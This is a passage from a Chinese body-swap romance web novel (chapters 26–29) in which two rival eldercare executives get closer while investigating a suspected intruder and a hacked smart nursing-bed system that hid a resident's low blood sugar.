在她神游间,怀表的主人已经过来。
手里的东西被抽走。
许暻猛然抬头望去,祁聿不似寻常的淡定,眉宇间飘着一丝慌乱。
“你的怀表到底是哪来的?”
26. 氧气+26
他把盒子重新放回抽屉里,许暻看不懂他的情绪。
不确定他是不是生气,也不确定自己是不是要往下问。
然而下一秒,祁聿选择了主动解释:“是许爷爷送的。”
一句话,许暻的瞳眸陡然一缩,瞳孔中清晰地映出讶异的神色。
眼波猛然滚动,泛起层层水花。
她记得爷爷当时送给她的时候说,这块表是他和奶奶的珍藏,一块给她,还有另一块,打算给她未来的丈夫。
当时她没放在心上,也没见过另一块表长什么样子。
没想过会是情侣款,以为是两块一样的怀表。
但是爷爷从来没说过这块表给了祁聿。
“爷爷送给你的?!你确定?”许暻完全不相信,却又没有一个更好的理由。
双眸瞪圆,她又看到了他眼底的灼热,越烧越旺、越烧越烫。
一种难言的情绪流于心口,很诡异,却又带着一丝酣甜。
她稍微低头才能对上面前人的视线,那人也仰头望着她。
她看到那张本属于自己的唇快速动了动,十分坦然道:“是我问过他,能不能送给我,所以这表才到了我的手上。”
“你知不知道这块表代表什么?”许暻脱口而出,直接问了出来。
她又捕捉到祁聿一闪而过的惊慌,随后重新稳住心神,反问她道:“你知道?”
“废话,”许暻没好气地撇了撇嘴,有些不满:“我当然知道!当时爷爷说是要送给我以后的……”
最后的话,许暻有些说不出口了。
没准爷爷是改变主意了才会送给祁聿。
况且爷爷没和她提及,就肯定不是这个意思。
“以后的什么?”许暻不知道那人清不清楚答案,只听他顺着她的话问下来。
话语梗在喉咙口,没有再说出口的打算。
“没什么!”
祁聿似乎是悄悄松了口气,语气又重新添了几分松弛:“我是看着喜欢,所以才要了过来。”
话题结束在了许暻的沉默里,祁聿也不愿主动再提。
客厅里安静了好一会儿,许暻的心情仍未平复。
好奇怪。
真的好奇怪。
一块怀表而已,就算是情侣表,送了就送了,也不能代表什么。
但就是有一种莫名的情绪在心口盘旋,除此之外,她还觉得自己好像漏掉了什么重要的信息。
情侣怀表……
到底漏掉了什么?
蓦地,一个不明物体窜入她的视线,许暻倒吸一口凉气,往后一退。
等目光聚焦之后,眼前的东西清晰地映在眼底,许暻却没有一丝好脸色——
祁聿拿着一个荧光绿的炸毛玩偶,小眼睛、香肠嘴,舌头半吐,放在胸口的两只手举着一个小牌,上面应该是它的名字:Lulu。
“……”
许暻是个颜控,资深颜控。
家里的所有家具和装饰,她一定要和谐、好看的,色系不能太猎奇,搭配不能太夸张。
床上的玩偶必须秀丽可爱,床具的颜色图案花纹不能丑,衣服必须色彩搭配、漂亮大气,就连养花,她也选了最漂亮的玫瑰。
所以她完全不能接受祁聿家里的装修风格以及祁聿给她安排的房间。
奈何她是寄人篱下的那人,也不愿意让祁聿住她家,只能忍一忍。
眸光里已经露出难以掩藏的无语,身侧的手已经捏成拳,像是下一秒拳头就要落到眼前那人身上。
“送你的。”
“我不要。”许暻根本不需要思考,直言拒绝。
祁聿不解地瞟她一眼,仿佛真的没意识到有什么问题。
甚至还拿着炸毛玩偶从头到尾看了好几遍,眼底全是对它的欣赏,甚至还有对自己眼光的自信。
许暻根本没眼看,别过脸去,眼睫垂下,在眼睑下落了一块阴影。睫羽轻颤,那块阴影也跟着晃动,仿佛视线只愿意退在这块阴影后,不愿往前看。
“为什么?”祁聿问。
许暻重新凝神,咬着牙再看过去,心里不断给自己做建设——
这人是个审美癌,他选的东西是这样很正常。
视线重新聚焦在炸毛玩偶上,许暻没忍住,一声稍显无奈的哼笑从喉咙溢出。
这居然还要问为什么?
“祁总,您的审美癌什么时候去治治吧,虽然不伤您自己,但是伤别人。”许暻依旧没有约束自己的嘴。
毕竟她和祁聿之间,早就形成了一种特殊的沟通方式。
他又一次顶着她的脸,杏眼微睁,眸光聚集,汇聚出几分无辜的神色,嘴唇轻轻嘟起,是许暻不会有的表情。
“不好看吗?”
“……”
骂人的话几乎要从喉咙里喷出来,属于祁聿的身体却似有下意识的挣扎,那些话又被她吞回肚子里。
身侧的手捏紧再捏紧,却又在某一瞬完全松懈。眼前的人拿着炸毛玩偶在她面前一次次摆弄,视线扫过她时神色依旧。
许暻感觉这具躯体有些不受自己控制,心跳悄然加速,喉咙一阵干涩,话语在喉头滚了又滚,最后像是鬼迷心窍了般。
她低声道:“拿来。”
祁聿把玩偶递给她,脸色微动,眼底闪过一丝光亮。
许暻接过来,对上荧光绿玩偶的一双小眼睛,她仍然觉得很丑、十分辣眼睛。
蹙着眉盯着看了好一会儿,还是有些接受不了。
她想扔给祁聿,身体却没听从意识,紧紧捏着玩偶。
好像……
看久了也能接受。
虽然很丑,但是丑中又带了一丝萌点。
最后这玩偶被许暻拿回了床上。
在浴室洗澡时,她感觉自己有些不对劲。
确切地说,是不属于她的这具躯体不对劲。
浑身散发着一阵躁意,好像内里有一团小火苗,烧得不旺,却持续着影响这具躯体。
她不清楚这躁意的来源,却慢慢被影响着。
许暻洗了最久的一次澡。
直到关水时,心跳依然比寻常跳得要快。
她都要怀疑祁聿是心律失常了。
走到洗手池旁,她接了好几捧冷水往脸上泼,试图浇灭躁意。然而抬眸时才意识到自己并没有穿衣服。
镜中映出祁聿展露在外的躯体,她一时竟有些移不开眼。
宽阔的肩背,肌肉轮廓明显的胳膊,顺着流畅的线条往下,隐隐突出几根血管,带着十足的荷尔蒙气息。
祁聿是典型的薄肌身材,匀称的八块腹肌延伸至小腹,旁边两条人鱼线跟着往下。
许暻及时收回了目光,没再往下。
脸颊已经烫得发红。
那股躁意不仅没能被浇灭,反而越来越重,身体里的火苗似乎有渐长的趋势。许暻赶紧出了浴室,火速把衣服
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穿好,一头扎进床褥。
她用被子蒙着头,手里还攥着那个炸毛玩偶,一遍又一遍地心理暗示自己:是祁聿的身体做出的反应,和她没有关系。她的意识控制不了他的身体,是他的身体……一定是他……
……
隔天醒来再见到祁聿时,许暻已经没了昨晚的躁意。
她终于松了口气。
祁聿正端着熟悉的吐司从厨房里出来,又十分自然地对她道:“咖啡在厨房,端一下?”
有了前两天的早餐时刻,许暻也逐渐接受了他的使唤。
毕竟让她随意蹭饭,做点小事根本不算什么。
她熟悉地走到咖啡机旁,两杯咖啡还冒着热气,许暻的动作稍稍一愣——
咖啡机旁多了一个小筐,里头是祁聿新买的代糖,数量很多,在靠近那一侧的咖啡机上还贴了张小卡,上头看上去是祁聿的字迹:适量食用,不要嗜甜,一次最多两包。
指尖轻扣在咖啡杯旁,胸口被一股无形的力量狠狠撞了一下,带动着熟悉的躁意重新席卷。
许暻呼吸稍滞,抿了抿唇,眼眸迅速地眨了眨,顺手拿了两包糖,又端着咖啡出去。
她把祁聿的那杯推给他,之后便一直低着头,若无其事地把两包糖倒进咖啡,又迅速吃着盘子里的吐司。
她也不知道是出于一种怎样的情绪,不敢抬头,更有些心虚。
好在祁聿并没有注意到她的不对劲,直到吃完也没有和她说一句话。
……
许暻根据社区老人们的喜好已经重新拟制了新的菜谱,打算更改养老社区的用餐标准。
菜品不再是单一不变的,而是让老人们可以适当挑选。
说起来这事也多亏了刘助,许暻本来是打算自己一个一个对照看的,但刘助拿出了颐安自己开发的智能软件。
软件能够根据数据自动筛选、整合,并提炼出关键信息,再根据关键信息提出合理建议。
仅仅两分钟,一个完备的新菜谱已经呈现在眼前。许暻检查过,没有任何问题。
“你现在去把这份资料传给社区那边,下午再跟我一起去一趟社区。”许暻十分满意道。
“好。”
效果也正如许暻所想,社区内的老人都很高兴,有几个老人已经认熟了‘祁聿’,在见到‘他’时兴奋起身,和善的脸上笑意不断:
“祁总,你这几次的变革我们都很喜欢的呀,咱们这便利和自由两不误的呀,虽然以前的那种生活很规律,但是过久了就觉得无聊,现在多好!”
一个养老院是否合格,不仅在于硬件设施,更在于养老院内的每位老人的声音。
前不久还拘谨和‘他’说话的老人们,现在已经愿意主动找上她。
许暻笑了笑,“陈奶奶,您不用叫我祁总,叫我祁聿就好,我们的改变正是想为养老社区内的所有老人提供一个更舒适、更温暖的住所,你们喜欢,也就是我们最大的动力了。”
老人脸上的笑绽得更开,“好好好,我就知道我当初没选错养老院!那你先忙着,我去活动室跳舞去了!”
老人兴奋的背影消失在走廊尽头,刘助在一旁悄悄看着‘祁聿’,眼底神色不清,隐隐带笑——
所以祁总果然是跟许总在一起了?完全就被她影响了嘛。
蓦地,走廊的另一边传来一声大叫。
许暻听出来,那是王阿姨的声音:“你是谁呀?!偷看什么呢!”
27. 氧气+27
许暻和刘助视线交汇一瞬,同时往张奶奶的房间跑去。
王阿姨站在门口,双目警惕地扫视走廊。见‘祁聿’和刘助过来,整个人才松了口气。
“王阿姨,怎么回事?”许暻问。
目光已经落在房间里,张奶奶正躺在床上小憩,没有被吵醒。
王阿姨仍有些许担忧,情绪里带着后怕的惊愕:“刚才有人从窗户那边偷拍房间里面,我过去看的时候,人已经不见了,我又看到门口有黑影,以为门口有人。”
这间房的窗户靠着阳台,阳台过来就是房间门口。
“是不是别的房间里的老人?”刘助猜想。
王阿姨摇了摇头,不能确定。
许暻抬眸看了眼角落里的摄像头,旋即侧头问刘助:“阳台上应该有摄像头吧?去查一下。”
刘助即刻会意,独身一人出去了。
许暻留在房间里,又走到张奶奶床前看了一眼老人的状况。
智能护理床显示的实时生命体征一切正常,许暻替老人掖了掖被角,又仔细检查了床头老人服用的药物。
再三嘱咐王阿姨之后,许暻打算离开,接着去其他房间。
许暻的举止极具分寸,待老人同意后才进房间。
好在老人们并不排斥她,反而在她进门时弯起眉眼,有的甚至会主动打招呼。
已经来过几回,许暻差不多把这里的人记全了。
他们的喜好,她也大致能对上。
这些老人们就像一把把钥匙,能够自动匹配上她的记忆。
这一次的巡查,病房里已经没有护工再随意偷懒,她新面试的几个护工刚入职,还在熟悉流程中,却也做得不错。
服务站的人员根据她方案上写出的,每两个小时会过来巡转一次。
如果是这样看上去,科技养老也并没有她想象得那么糟糕。
一圈转下来,许暻对这些老人的习性又熟悉了几分。
比如202房的赵爷爷脾气有些暴躁,但只要一听军歌,就能安安静静地坐在床边,让他做什么他也十分配合;
又譬如209房的林奶奶性格稍微孤僻,但只要和她聊起历史纪实,她又能跟人侃侃而谈;
再比如217房的吴奶奶,看上去小小的个子,力气却很大,且性格热络,社区里一有什么事她准冲在前头。
有一瞬,许暻感觉回到了桐馨。
每次踏进养老院时,总是有无数张面孔对着她笑,亲切地唤她‘小暻’。
她曾担忧过的老人不和、刻意刁难的情况通通没有发生过。
爷爷奶奶的话又重新浮现在脑海中:养老院不是医院,这里是老人们给自己寻的一个晚年生活的去处,只要你站在他们的角度,为他们解决问题、解决需求,真诚待他们,他们也会以同样的方式对你。
说到底她追求的不过是创造一个温馨的环境,让更多的老年人安享晚年。
往小了说,她是为自己的未来在努力着;往大了说,她也是想为社会做出些贡献。
许暻打算往回走,刘助已经找过来了。
调出手机里的信息,送到她跟前,“祁总,监控画面有一段缺失,应该是被入侵删毁。我问过值守人员,他们说并没有看到可疑人员,今天来探视的都是老人家属。”
眸中立刻警惕,许暻眉头稍蹙,看着两段中间明显接不上的监控视频。
“还有其他监控吗?社区门口的,还有外墙的?”许暻迅速联想到其他监控。
刘助点头,“已经让人调取了,应该会马上发过来。”
入侵删毁?速度这么快?
还是出现在张奶奶的房间那块。
王阿姨说那人在偷拍,是在偷拍张奶奶?
许暻嗯了一声,随后又道:“你试试能不能恢复这段缺失的监控,再派两个安保在楼底下守好,一定要避免社区出任何问题。”
“是。”
……
许暻和刘助回了颐安。
刘助把社区门口和外墙的监控发给了她,只是视频里看上去没什么可疑的片段。
只是来探视的家属的车进了又走,来的人手上提着水果和牛奶,再无其他。
许暻又盯着视频看了好几遍,仔细比对。
蓦地,她注意到视频角落里的一小块黑影。
监控只拍到了三分之一他的躯体。
那是个男人,他用手挡住了半边脸,明显是在躲监控,一身普通的黑色西装,许暻认不出来。
其他画面里再没捕捉到这人的身影。
许暻微微泄气,只好把出现黑影的画面截下来,打算发给祁聿。
然而刚截下来图,许暻在传送的时候注意到那只挡住脸的手背上有一块褐色的疤痕,放大了才能看到。
心口一滞,许暻把手机里的画面放大、再放大,眉宇轻蹙,眼里飘起疑云。
好熟悉的疤痕。
她好像在哪见过。
只是仔细搜寻过脑海中的画面过后,她仍然没能想起是在哪里见过。
照片发过去没多久,祁聿的电话就过来了。
那头的声音略显急促:“你人没事吧?”
许暻不由得低笑一声,觉得他抓错了重点:“我没事啊,是我觉得社区可能会有事,你看看这个手上的疤痕,你能认出这个人吗?我总感觉好像在哪见过似的。”
电话对面的人似乎是在翻看照片,长久的静默之后,祁聿的声色沉了沉:“没见过。”
许暻稍稍叹气,短暂的失落之后又说了让刘助去恢复监控的事。祁聿表示了然,确认许暻这边没问题之后匆匆挂了电话。
许暻又盯着那道疤痕看了好半天,但仍然想不起来。最后干脆也不想了,只留了照片,关了手机。
……
下班到家的时候,祁聿依然在做晚饭。
不得不承认,许暻在某些方面还是挺佩服祁聿,毕竟让她每天自己做饭、洗碗,那是绝对不可能的。
每次一想到自己一个人做饭,前前后后的准备和打理都得花不少时间,还不如一顿外卖来得方便。
她脱了外套准备进去帮忙,但祁聿已经做得差不多了,许暻稍微讶异:“你今天这么快?”
祁聿的脸色看上去不太好,声音也有些虚浮,他轻轻嗯了一声,解释:“下午养老院的事都做完了,身体有点不舒服,提前回来了。”
“不舒服?”许暻接过他盛好的菜,准备端出去。语气略显担忧,毕竟是她自己的身体。<
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那张脸像是被雨水打湿的纸,透着无力的苍白,似是身体从内里发虚,完全没了血色。
祁聿点了点头,“不知道为什么肚子疼,疼得很奇怪。”
许暻闻言一愣,瞬间想起今天的日子,默默在心里算了算,回忆起上个月的时间。赶紧放了手里的盘子,又火速下单了几包卫生巾。
她拦住了祁聿,也不管他的饭是不是做完了,直接拉着他去了餐厅坐下。
开口的时候又略微尴尬,她也没想过有一天,自己最讨厌的人会帮她来例假。
“是我的生理期要到了。”许暻从保温壶里倒了热水给他,“我已经下单了卫生巾,马上到,这几天你多穿点,不要着凉,尽量别喝咖啡。”
“……”
她看到那人完全愣住了,像是石化一般。
应该是不太能接受他要经历生理期。
可眼下也没办法,许暻又劝他赶快吃完饭去洗澡,早些躺上床。
谁知许暻就跟预言家似的,祁聿饭吃到一半,感觉身下一股陌生的暖流,小腹的坠胀感加重,他咬紧了牙,拿着许暻递来的东西进了浴室。
好在祁聿也是个学医的,实习期间也轮转去过妇科,知道该怎么贴。
许暻一时半会也不敢回房,就在客厅等着他出来。
想起自己之前的难受,又去煮了杯红枣牛奶。
好不容易收拾好了,祁聿穿了厚厚的睡衣,把四肢严严实实地裹在被子里。
虽说没有特别痛,但那种陌生的不适感让他四肢酸软,只想躺在被窝里。
许暻端着牛奶在他床旁坐下,又充好了热水袋放在他的肚子上。
见他一脸虚弱,她嘴上有些嫌弃道:“祁总,你这么一点痛就不行了?我痛经的程度都不算严重的。”
嘴上虽然挖苦,但她还是扶他起来给他喂了牛奶。
祁聿喘了口气,重新躺好,已经不怎么想说话,却在短暂的停顿之后又望着许暻,他扯了扯唇,掀起浅笑:“许总果然是女强人。”
许暻帮他掖被角的动作一怔,回神后‘嘁’了一声:“这还用说?”
唇角不自觉地浮起笑意,又给他调好了空调的温度。
祁聿或许是真的难受得困倦了,没一会儿鼻息间已经响起均匀的呼吸声。
许暻望着床上的人影,不知不觉地出了神,心口盘旋的藤蔓又一次绕起,视线像是粘在了那人身上一般,久久不能移开。
太奇怪的感觉盘绕在心口。
感觉有一丝蜜甜,又很慌乱。
思绪不受控地涌动,脑海中似乎有一道很轻的声音响起——
他切身体会到了属于她的身体上的痛感,是不是也能体会到她心里的感受?又会不会渐渐对她的理念改观?
然而意识被许暻骤然拉回,停在那人身上的目光也被收回。
许暻主观地控制着自己不再乱想,拿了玻璃杯出去。
此时刘助的消息又发了过来:
「祁总,监控没有恢复,但查到一辆外来车辆的车牌号,没有在家属车牌那里登记过。」
后面是那辆车的车牌号。
许暻定神,仔细回忆,瞳眸陡然一缩。
这是…张启林的车牌号?
28. 氧气+28
许暻不敢完全确定,又转回祁聿的房间去拿了自己的手机。
轻车熟路地翻开手机里和秘书的聊天记录。
十秒钟后,她翻到了前段时间约见张启林时秘书发给她的车牌号。
真的是他。
细细想去,记忆突然清晰,那道熟悉的疤痕就是第一次约见张启林的时候她恍然瞧见过的。
但许暻更想不通了——
张启林为什么会出现在这里?又为什么要偷拍张奶奶?
是商战?还是藏着别的原因?
心里的疑云不止,许暻又给刘助发了条消息过去:
「这个车牌号是张启林的,你去打听打听他现在就职在哪里。」
交代完之后,许暻又把手机给送回去了。
整个过程她的动作都很轻,没有吵醒祁聿。
正欲出门,床上的人却突然不老实。
裹好的被子被他一脚踢开,四肢全都露在了外面。
许暻微怔,有片刻的恍神。
本打算不管他,但又想起这是自己的身体,又原路返回,轻手轻脚地帮他重新盖好被子。
面对祁聿,神色中难免染了些嫌弃。
她并没有即刻起身离开,目光流转于他沉睡的面容上。
果然还是她‘自己’的脸看上去比较顺眼,这个自负狂傲的家伙就该好好学学她。
许暻最后盯得有些想笑——
此刻祁聿就像是折了翅膀的飞鹰,乖乖地躺在被窝里,傲气不了一点。
她小声嘀咕了句:“科技怪……”
准备离开,手腕却陡然被人抓住。
许暻身形一僵,以为惊醒了床上的人,被抓包般地心虚望去。
然而床上那人还闭着眼,完全一副熟睡的姿态,只是不肯松手,嘴里还在念叨着什么。
许暻听不清,只能大致听到她的名字。
嘴唇不自觉抿了抿,身体像是被什么东西牵引着,又俯身过去想要听清。
祁聿的话依然不算清晰,许暻只能听到断断续续的话:“小…暻……想懂……你不要……”
许暻更加茫然。
想懂?想懂什么?
她不要什么?
这人是在叫她小暻么?
许暻半眯起眼,眉心挤出一道细纹,又觉得自己是听错了。
下一秒,脖颈直接被人勾住,大半个身子被祁聿揽进臂弯,她听见了那声十分清晰的“小暻”。
喉咙溢出下意识的惊呼,身体也下意识挣扎:“祁聿……你放开我……”
然而睡梦中的人根本听不到她的话,胳膊只是一味地收紧。
“……”
第一次靠在‘自己’的怀里,许暻有一种奇怪的感觉。
身体里像是有一阵细微的电流窜过,鼻息间浸满了祁聿的味道,脸颊渐渐发烫,许暻还在用力。
她也不知道床上这人有什么毛病,睡着了还能有这么大力气。
那一声“小暻”之后,他没再做声。
许暻再一次卯足了劲,完全推开了他。
那人或许是感受到了外力,自然地翻了个身,接着睡。
许暻倒是大喘了几口气。
顾不得其他,她赶紧跑回了房间。
靠在紧闭的房门后,许暻还没完全回神。
双手在撞击感强烈的胸脯上拍了拍,往下顺气,眼神飘忽,嘴里恶狠狠吐了句:“抽风怪!”
与她相隔两扇门的那间房里,且在睡梦中的人悄悄弯了弯唇,重新换了个舒服的姿势,酣酣睡去。
……
许暻起得稍微有些晚,都是因为祁聿和张启林,害得她躺在床上时脑中思绪不止,半天睡不着。
她以为祁聿也会起晚些,没想到人已经坐在餐厅吃早餐了。
他还真的听了她的话,没有再喝他那苦咖啡,换上了鲜牛奶。
许暻陡然吓了一跳,本来打算直接走,但看到桌上的另一份早餐,又自觉地坐了下去。
“你不疼了?居然还能起来做早餐。”
祁聿一副心情大好的模样,不知道是经历了什么高兴事儿,语气都带着上扬的尾调:“许总能承受的痛,我当然也得能承受才行。”
听言,许暻一边的眉头轻轻上挑,瞥了他一眼,手里又继续剥着鸡蛋。
原来还是在和她较劲。
只是吃到一半,她总觉得祁聿的视线在她身上来回飘动,一个不经意的转眸,视线悄然撞上他的。
心口一紧,剥蛋壳的节奏被打乱,指甲跟着抠了一小块蛋白下来,耳边又回荡着他昨晚抱着她时唤她的声音:“小暻。”
藏在拖鞋里的脚趾不自觉缩紧,一颗心快要跳到嗓子眼,她被他盯得有些发毛,短暂的心理准备之后,又强硬地对上他的目光,清了清嗓道:“你盯着我看什么?”
那人漫不经心地吃完最后一口鸡蛋,又抿了口牛奶,缓缓发出一声哼笑,唇角勾起浅浅的弧度。
“没什么,昨晚做了个梦,梦见许总了。”
一句话,许暻差点被咖啡呛死。
染着甜意的微苦在整个食道里蔓延,有一些呛进了气道里,引得她连连咳嗽。
祁聿起了身过去站在她身后,手掌在脊背上轻拍替她顺气,又不住调侃:“这么怕我梦到你?”
只是调侃的语气中又好像带着几分试探,许暻却因为心虚很快忽略过去了。
不敢提起昨晚的事,她嘴硬狡辩:“我就是不小心被呛到了而已!”
咳嗽止住,祁聿的眸子又在她身上流转片刻,似乎在观察她的反应。
没一会儿,他又问:“许总不想知道我梦见了什么?”
许暻非常干脆地撇过头去,快速咀嚼嘴里的食物,又一口把剩下的咖啡全部喝完,强硬答了句:“不想,我不是周公,对梦什么的没有一点兴趣!”
直到许暻坐到了祁聿的车里,动作还是略显慌乱。
两只手握紧了方向盘,她才后知后觉,不明白自己到底在慌什么。
更不懂为什么会心虚,不理解为什么不敢提起昨晚的事。
梦到她了就梦到她了,撇开他们针锋相对的关系不谈,好歹也认识了很多年,梦见不是再正常不过的事?
更何况一句“小暻”而已,身边人都这么叫她,祁聿就算叫了也根本没怎么回事。
可她就是觉得别扭。
好像哪哪都不对。
想得越清楚,她就越心虚;想得越明白,她就越慌乱。
脑际乱窜的念头又一次被主观打断,许暻快速驱车离开。
工作要紧,她没必要一直想这些事。
她是这样说服自己的。
到了颐安之后,许暻才发现自己忘了最重要的事——
跟祁聿说张启林的事。
都怪祁聿大早上的一直盯着她看,完全打乱了她的思绪。
不过刘助又有了新的消息。
他打听到张启林现在就职于一家规模很小的医药公司,地处偏僻,且距离废弃的怡康养老院不远。
这家医药公司于三年前成立,主要是为一些私人医院提供药物资源,负责人陈以轩之前许暻有听过,是外地人,来淮北读书,研究生毕业后留下创业,然后开了这么一个公司。
不过陈以轩持股并不是最多,主要持股人另有其人,能查到的持股人的姓名,是个外国名,再多的就查不到了。
可颐安和这家公司之间并不存在竞争关系,张启林又为什么要去那?
“行了,我知道了,你先出去吧。”
许暻让刘助先出去了,想要联系祁聿,但他的电话却打不通。
无奈,许暻只好把这事先搁置,等晚上回去再跟他说。
许暻这一天的工作状态都不佳,她也不知道自己是怎么了,总有一种不好的预感,像是要发生什么事一样。
下班后,她没有即刻回家,而是开车去了废弃的怡康养老院。
这一块现在已经被围起来,就等着翻新。
看着已经被拆掉的招牌,心里窜起一种莫名的感觉。
这段时间发生的所有事零碎地铺散在脑海中,她想串起来,却又很难找出这些事背后的联系。
张启林为什么会那么着急把怡康卖给桐馨?为什么入职了医药公司之后又去颐安偷拍张奶奶?是因为张奶奶以前住在怡康?还是因为其他的什么原因?
太多太多的疑问,许暻盯着那幢废弃的楼房出神,眉头紧拧,不知所措。
想重新给祁聿打电话,收回视线的同时伸手去拿手机,却陡然撞见了后视镜中映出的一抹熟悉的身影。
许暻刚给手机解锁,太阳穴猛地一跳,她不确定自己是不是看错了,迅速回头,那人的身影却消失在了车后方的巷口。
她又扔了手机,立即调转方向盘追上去,但巷子里已经空无一人。
注意力瞬间转移,她又慌忙去翻宋楹的电话,然而手机不知道什么时候自动跳转到了智能护理床的实时检测系统
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里,许暻下意识想划出去,却偶然捕捉到一处异常信息。
神绪再一次转移——
这些数据不太对……
看上去每一个数据都是正常的,但这种‘正常’反而不正常。
吴奶奶有糖尿病,显示的血糖值却是5.1mmol/L,即使是打了胰岛素的情况下,她记得吴奶奶的血糖也一直在7.6mmol/L左右。
还有一些卧床的老人,虽说有压疮风险,但翻身次数明显过于频繁,他们的护理床是新改进过的,根本不需要如此频繁的翻身。
还有过于正常的血压,许暻清楚地记得有几位老人的血压即使在药物控制的情况下也一直偏高,根本不可能是正常值。
意识到不对劲,许暻赶紧联系了祁聿和刘助,又火速赶往养老社区。
……
许暻到社区之后,连车都没停稳,直接往二楼跑,服务站刚换班的值守人员见‘祁聿’在这个时候赶来,赶忙起身:“祁总。”
许暻形色匆匆,语气也有些着急,“多叫几个人,去检查一下每个房间的智能护理床,再让人看看系统有没有出问题!最重要的是检查每个房间里的老人有没有出事!”
服务站的人员虽然不知道出了什么事,但仍然全力配合。
祁聿赶来的时候刚好听见许暻交代的话。
匆忙中两人相视一眼,一股自然而来的默契瞬间弥漫,祁聿朝着许暻点了点头,然后一起跑到了每个房间去检查情况。
许暻最先去的是吴奶奶的房间。
想起今天是吴奶奶的家属来探视的日子,但前两天其家属遇上特殊情况这周没办法过来,吴奶奶又是能完全自理的老人,房间里不一定有护工在。
果然不出所料,吴奶奶躺在床上,脸色却不太好——
微白的发丝黏在额间,额前伏着绿豆大小的汗珠,脸色苍白。
这是明显的低血糖症状。
许暻赶紧按了智能护理床上的呼叫铃,让护士赶紧送糖水进来。
短暂一瞬,走廊上响起了一阵匆忙的脚步声。
紧张的气氛伴随着剧烈起伏的心情,绵延在整个养老社区内。
半个小时之后。
吴奶奶的血糖值终于上升,在达标范围。
其他房间里的老人都没出事。
吴奶奶因为今天家属不来,心情不佳,打了胰岛素之后一直没吃饭,寻常她的饭都是护工送过来她自己吃,所以也没人留意到她没吃饭。
但许暻仍然生气,确认老人都没事之后,把所有的职工全部叫到了会议室,祁聿站在门外听,刘助去调查智能护理床系统的问题了。
“护理床的系统出了问题,为什么没有一个人注意到?!每两个小时一次的巡查,为什么没有一个人注意到吴奶奶情绪不对?!万一今天吴奶奶出了什么事,你们谁又能担起这个责任?!”
许暻满腔的怒火。
明明稍微细心一点就能意识到系统出了问题,稍微认真一点就能看出有哪些老人不对劲。
偏偏这么多人,没有一个人注意到!
会议室里鸦雀无声,没有人敢回答。
许暻的神色又沉了些,靠着这具身体,把冷峻和严肃发挥到了极致。
她敛眸看着在座的每一个人,只觉得他们已经完全依赖于所谓的科技,逐渐丧失了自己的思考能力,完全缺乏慎独精神。
这在行业内是大忌。
“各位是不是觉得,颐安的宗旨是推崇科技,你们所有人就可以只依赖科技?生命体征交给科技来,照护记录也交给科技,老人的娱乐生活也交给科技,那我请问,你们的作用在哪里?!”
许暻的音量提高,震慑力十足。
依旧是一片寂静。
她又接着说:“我前两天给你们的方案里已经写得很清楚了,每两个小时要做一次巡查,这不是简单地看一眼老人在不在,是要确定老人是完全没有安全隐患存在才达标的!各位如果是舒服日子过久了不愿意认真工作了,大可以来跟我提辞职,今晚的事最好引以为戒,下一次再出这样的事,我也不介意大换血!”
说完,许暻考虑到外头还有老人在活动室,先让他们散了会。
职工们悻悻退了出去,刘助恰好赶来,进了会议室,祁聿跟在后面一言不发,看向许暻的眸中甚至染了一丝…惭愧。
许暻没让祁聿出去,刘助也就直接报告自己查到的信息:“祁总,护理床的系统是遭黑客入侵篡改了实时数据。”
29. 氧气+29
刘助手上还端着查信息的电脑,他已经第一时间报警处理,也取完证,只是系统需要修复,这个系统最初是祁聿研发的,修复也自然得交给他。
对于这个消息,许暻并没有多意外,甚至在她的意料之中。
气头并未全消,她仍然坐在会议室最前面的椅子上。
周身的气压低沉,面色冷峻,她低嗯一声,让刘助先出去。
空荡的会议室里沉静了足足三分钟。
许暻敛息凝神,慢慢寻回内心的冷静。
眸光缓缓汇聚,她抬头看向眼前那人。
不出意料的,那人也在看她。
她知道,沉默的这几分钟内,他的视线一直在她身上。
此时此刻的许暻完全是处于工作中的状态,眉宇间散发着一种从内里透出来的强干,又是在祁聿的身体里,气势浸染得那双眼眸异常凌厉。
她等着祁聿开口,祁聿似乎也读懂了她的意思,嘴唇微张,认真地道了句:“多谢。”
只是一句没什么作用的道谢,许暻并不太领情。
她冷哼一声:“祁总,今天的事,你还看不到你的养老社区存在着什么问题么?”
并不是想和祁聿争什么,也不是逮着机会来挖苦他。
只是想让他看清楚,科技养老的背后会存在的问题,试图用科技取代人力的风险,远远比单独使用人力的风险要大得多。
正是因为他对社区内这些工作者的要求不高,久而久之他们也习惯于依赖社区内的各种科技,只会听从机器的警报,而失去了自己的思考。
可机器毕竟是机器,总会遇上出现故障的时候,更甚时会有这种被‘黑客入侵’的状况。
过度依赖科技,故障时牵一发而动全身,后果和损失只会让人意想不到。
倘若今天她没有发现问题,倘若她没有手滑点进系统,社区内又是否会有人发现吴奶奶的状况不对?
回想刚才的急迫,许暻又害怕又心疼。
祁聿又沉默了片刻,再开口时,许暻听见他的嗓音非常干哑,眸色晦暗,惭愧未消:“许暻,先给我点时间,我把系统重新修复好。”
许暻没说话,自动转过椅背,不再看他。
她深吸了口气,身后已经响起噼里啪啦的键盘声。
许暻先是盯着前方放空自己,完全冷静下来之后,眼珠又往一旁斜了斜。
身后的人手上动作还在继续,许暻从那发出来的声响中听出来了一丝紧张感。
先是张启林莫名其妙出现在张奶奶的房间外,说到底没了那段监控,并不能确定他是来偷拍的。
紧接着又是智能系统莫名其妙被人入侵,没有一丝征兆。
偏偏现在还是养老院评级、不能出任何差错的时期。
是有人想要针对颐安?
可唯一相关的张启林所在的企业和颐安根本构不成竞争关系。
又或是张启林对怡康还有感情?现在怡康成了桐馨的,桐馨和颐安是竞争对手,所以张启林来使坏?
可怡康都废弃半年多了,当初祁聿更是差点收购怡康,如果真是这种理由,未免太立不住。
身后的键盘声不知道什么时候停了下来。
那人轻轻唤了她一声:“许暻。”
许暻的思绪戛然而止,并没有立刻转身。
“我们谈谈。”那人接着说。
然而许暻先发制人,握住了主动权。
把脑中所有的猜测和养老社区发生的所有事一五一十地全部告诉了祁聿,她看到对面那人稍稍愣了一下,似乎是没想到她会查到张启林。
“祁聿,你应该没有跟那家医药公司有过纠纷吧?”许暻问。
祁聿摇头,实话实说:“完全没有。”
“那你跟张启林之间有恩怨吗?”
“也没有。”
说完后祁聿又稍稍犹豫片刻,似乎在纠结要不要开口。
许暻侧头,“你想说什么?”
那人不急于开口,确认电脑和系统没问题之后,又看了眼时间,“我们换个地方,这件事很复杂,你跟我走。”
许暻有瞬间的犹疑,但祁聿又一次重复:“跟我走。”
这三个字像是带着一股无形的力量,里头仿佛藏着巨大的秘密,以她的直觉,这个秘密跟她有关。
最后两人收拾好了东西打算离开。
